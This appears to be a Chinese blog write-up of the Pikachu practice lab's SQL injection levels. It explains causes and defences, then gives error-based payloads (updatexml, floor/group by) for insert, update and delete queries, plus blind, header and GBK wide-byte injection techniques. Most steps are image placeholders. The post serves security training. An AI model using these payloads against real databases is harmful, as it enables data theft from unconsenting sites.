pikachu-sql注入

我的博客:acsec.xyz
微信公众号: Ac sec

一.概述

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!


二.整型注入(POST)

1.爆字段列数
在这里插入图片描述


2.查看数据库名和数据库用户
在这里插入图片描述


3.爆该库下所有的表
在这里插入图片描述


4.爆字段
在这里插入图片描述


5.获取username和password
在这里插入图片描述


6.md5解密


三.整型注入(GET)

同post注入,不同的是在url中构造payload
在这里插入图片描述


四.搜索型注入

SQL语句:

where username like '%xxx%';

此处为模糊查询,闭合方式为 ’
在这里插入图片描述


五.xx型注入

此处为 ') 闭合
在这里插入图片描述


六.insert注入

在注册的地方进行注入,为 ’ 闭合

SQL语句:

insert into member(username,pw,sex,phonenum,email,address) values('xxx',1,2,3,4,5);

payload:

1' or updatexml(1,concat(0x7e,database()),0) or '
1' or updatexml(1,concat(0x7e,database()),0))#

以上2种方式都可以闭合语句

1.爆数据库名
在这里插入图片描述


2.爆表名,因为updatexml不能换行显示,所以显示结果不全
在这里插入图片描述


3.用left(),mid(),rigth()分段显示或者用limit指定输出
在这里插入图片描述


4.爆字段
在这里插入图片描述


5.爆字段值
在这里插入图片描述


6.md5解密


7.floor报错

floor()报错注入准确地说应该是floor(),count(),group by冲突报错,

是当这三个函数在特定情况一起使用产生的错误。

语句:

and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

在这里插入图片描述


七.update注入

注册后登录,在修改信息处进行注入

SQL语句:

update member set sex='',phonenum='',address='',email='' where username='';

payload:

1' and updatexml(1,concat(0x7e,database()),0)#

在这里插入图片描述


八.delete注入

在删除处进行注入

SQL语句:

delete from message where id= ;

此处为整型注入(注意:在burp中构造payload时,需要转url编码)
在这里插入图片描述


九.http头注入

直接在user-agent处构造语句
在这里插入图片描述


十.基于boolian的盲注

sqlmap跑,也可以自己写脚本或者用burp进行爆破
在这里插入图片描述


十一.基于time的盲注

sqlmap
在这里插入图片描述


十二.宽字节注入

MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。因为GBK是多字节编码,两个字节为一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字,而“逃逸“了出来。

因为 ’ 会被转义,所以当我们输入 1%df’ 时会变成 1%df%5c’ ,也就是 1運’
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值